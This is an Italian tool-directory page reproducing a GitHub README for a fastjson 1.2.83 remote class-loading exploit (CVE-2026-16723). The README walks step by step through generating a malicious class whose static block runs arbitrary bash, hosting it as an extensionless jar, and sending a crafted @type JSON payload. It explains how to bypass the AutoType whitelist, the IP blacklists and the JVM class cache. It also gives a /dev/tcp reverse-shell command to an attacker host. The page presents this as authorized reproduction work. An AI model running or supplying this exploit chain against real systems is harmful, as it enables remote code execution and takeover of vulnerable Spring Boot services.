Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FastJson1.2.83-GenProbe2 — Toolkit di riproduzione per CVE-2026-16723 - fastjson 1.2.83 jar: generatore di payload per il caricamento remoto di classi (POC.class costruito con ASM con @JSONType + esecuzione in clinit) | Kitploit
Strumenti/GitHubGitHub/cuttlefish520/fastjson1.2.83-genprobe2
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRed TeamingStrumento di Accesso Remoto
GitHubcuttlefish520/fastjson1.2.83-genprobe2

FastJson1.2.83-GenProbe2

Toolkit di riproduzione per CVE-2026-16723 - fastjson 1.2.83 jar: generatore di payload per il caricamento remoto di classi (POC.class costruito con ASM con @JSONType + esecuzione in clinit)

Vedi Repository
1 mese faNon ancora revisionato
Condividi

FastJson 1.2.83 GenProbe2

Scopo: utilizzo per la riproduzione della vulnerabilità CVE-2026-16723. Questo repository è il generatore di classi malevole (generatore di payload) per la catena di caricamento remoto di classi jar: di fastjson 1.2.83 — utilizza ASM per generare a runtime una classe con annotazione @JSONType che esegue comandi arbitrari nel <clinit>, da usare insieme al target CVE-2026-16723 (Spring Boot + fastjson 1.2.83) per completare la riproduzione completa da "invio del payload" a "esecuzione del comando". Solo per verifica di vulnerabilità e ricerca difensiva in ambienti autorizzati.

A cosa serve questo file

GenProbe2.java non è l'exploit vero e proprio, ma il primo passo per generare il payload: produce POC.class, che va impacchettato in un file jar senza estensione e posizionato su un server HTTP; poi si fa deserializzare al fastjson target un nome di classe che punta a quel jar, e la JVM target scaricherà e caricherà POC tramite il protocollo jar:, attivando il blocco statico.

La classe generata presenta tre scelte progettuali deliberate, ciascuna corrispondente al superamento/aggiramento di un ostacolo reale:

Caratteristica del generatoFunzione
Annotazione a livello di classe @com.alibaba.fastjson.annotation.JSONType(orders = {"x"})Fa sì che la fase di scansione delle annotazioni di fastjson classifichi la classe come hasJsonType, aggirando la validazione della whitelist AutoType (in 1.2.83 autoType è disabilitato per default; le classi con @JSONType seguono un altro ramo di autorizzazione)
static {} (<clinit>) con Runtime.getRuntime().exec(new String[]{"bash","-c",CMD})Esecuzione al caricamento della classe. Chiamando exec nella forma String[] equivale a bash -c CMD, quindi qualsiasi sintassi bash in CMD (pipe, redirezioni, $(), reverse shell, ecc.) è valida (non soggetta ai limiti di tokenizzazione di exec(String))
Nome della classe interna = jar:http://IP:PORT/<jarName>!/<entryName> (URL con : / !)Cambiando ogni volta jarName/entryName (es. probe2/POC2) il nome della classe interna diventa una stringa completamente nuova, aggirando la cache delle classi omonime della JVM — il servizio target può essere colpito ripetutamente con comandi diversi senza riavvio

ASM non valida la legalità del nome di classe passato a visit; ClassWriter.COMPUTE_FRAMES si occupa del calcolo dei frame dello stack; la tabella delle eccezioni avvolge l'intero blocco di esecuzione del comando (catch (Exception) {}), garantendo che anche un fallimento di exec non faccia lanciare errori al caricatore esponendolo.

Procedura completa di riproduzione della vulnerabilità (CVE-2026-16723)

0. Ruoli e prerequisiti

RuoloSegnapostoDescrizione
Macchina d'attaccoATTACK_IP / decimale ATTACK_IP_DECOspita il jar malevolo, invia il payload
Macchina targetTARGET:8080Spring Boot + fastjson 1.2.83
Jar del laboratoriofastjson-cve202616723-0.0.1-SNAPSHOT.jarDeve essere la versione già patchata (ParserConfig.getGlobalInstance().setDefaultClassLoader(...))

ATTACK_IP_DEC è l'intero decimale dell'IP della macchina d'attacco (192.168.1.1 → 3232235777); usando il decimale si evita la blacklist dei letterali IP.

1. Scrivere il comando da eseguire

Nella directory di lavoro del generatore creare cmd.txt; la prima riga è il comando da eseguire (il generatore lo esegue con bash -c, supportando |, >, $(), reverse shell). Prima eseguire una verifica minima:

touch /tmp/CUSTOM_RCE_$(whoami)

Le righe che iniziano con # vengono saltate; in assenza di cmd.txt il valore predefinito è touch /tmp/PWNED_CVE-2026-16723.

2. Generazione della classe malevola (richiede asm)

# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC

Produce out\POC.class, nome interno della classe = jar:http://ATTACK_IP:8888/probe!/POC, la console stamperà "verrà eseguito il comando".

3. Creare un jar senza estensione e inserirlo nella directory radice HTTP

cd out
jar cvf ..\probe POC.class

Tre requisiti obbligatori:

  • Il nome del file remoto deve essere privo di estensione: deve chiamarsi probe, non probe.jar;
  • Deve essere un file, non una cartella con lo stesso nome (una cartella causerebbe un redirect 301 verso HTML, con conseguente fallimento del parsing);
  • Il nome della voce all'interno del jar (POC.class) deve corrispondere all'entryName utilizzato al momento della generazione.

4. Avviare il servizio HTTP e verificare autonomamente

python -m http.server 8888      # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe   # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧

Entrambi devono mostrare 200 e il numero corretto di byte prima di procedere.

5. Avviare il campo di tiro (macchina target, in primo piano)

java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动

6. Invio del payload

La trappola più grande: PowerShell divora le virgolette doppie del JSON, con -d '{"@type":...}' diretto diventa {@type:...}, la macchina target risponde illegal identifier : @pos 1, non si arriva nemmeno allo step di download del jar (nella finestra HTTP non si vede nemmeno una richiesta).

Procedura corretta: salvare il payload in un file e usare --data-binary "@file". payload.json:

{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}

Nota sulla sintassi: il punto sostituisce la barra e .class — jar:http:..IP:PORT.jar名!.类名 è JSON valido, usato per aggirare la blacklist; fastjson ripristina il percorso della risorsa jar:http://IP:PORT/probe!/POC.class e poi effettua il download tramite ClassLoader.getResourceAsStream().

curl.exe -s -X POST http://TARGET:8080/api/products/search `
  -H "Content-Type: application/json" `
  --data-binary "@payload.json"

Restituisce parse ok = parsing fastjson riuscito (non equivale a esecuzione del comando riuscita, vedere il passaggio 7).

7. Verifica (macchina target)

ls -la /tmp/ | grep CUSTOM_RCE     # 期望 /tmp/CUSTOM_RCE_<user>

Anche il traffico HTTP della macchina attaccante mostrerà GET /probe (di solito 2 volte: una per la scansione delle annotazioni, una per il caricamento effettivo). I comandi senza output possono essere confermati come eseguiti solo tramite "file scritto su disco / callback / reverse shell".

8. Cambiare comando / cambiare porta / sfruttamento multiplo

La JVM carica una classe con lo stesso nome una sola volta, <clinit> viene eseguito una sola volta, e le richieste successive con lo stesso nome colpiscono la cache. Due approcci:

  • A (senza riavviare il target): modificare cmd.txt, rigenerare con un nuovo nome jar + nome classe (ad es. p2/POC2), impacchettare, posizionare, e cambiare il payload in {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1};
  • B: riavviare il target, svuotare la cache delle classi, e il probe originale può essere nuovamente attivato.

Quando si cambia porta (8888↔8889) modificare tutti e tre i punti insieme: il parametro della porta nella generazione della classe, la porta nel payload e la porta effettiva del servizio HTTP.

9. Reverse shell (avanzato)

Prima riga di cmd.txt:

bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1

L'attaccante in ascolto (su Windows senza nc, usare WSL nc -lvnp 9999), quindi ripetere i passaggi 2~6 per rigenerare, distribuire e inviare (si consiglia di cambiare il nome della classe).

Regola ferrea: tre punti devono essere perfettamente coerenti

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    831
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    534
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    284
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    275

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →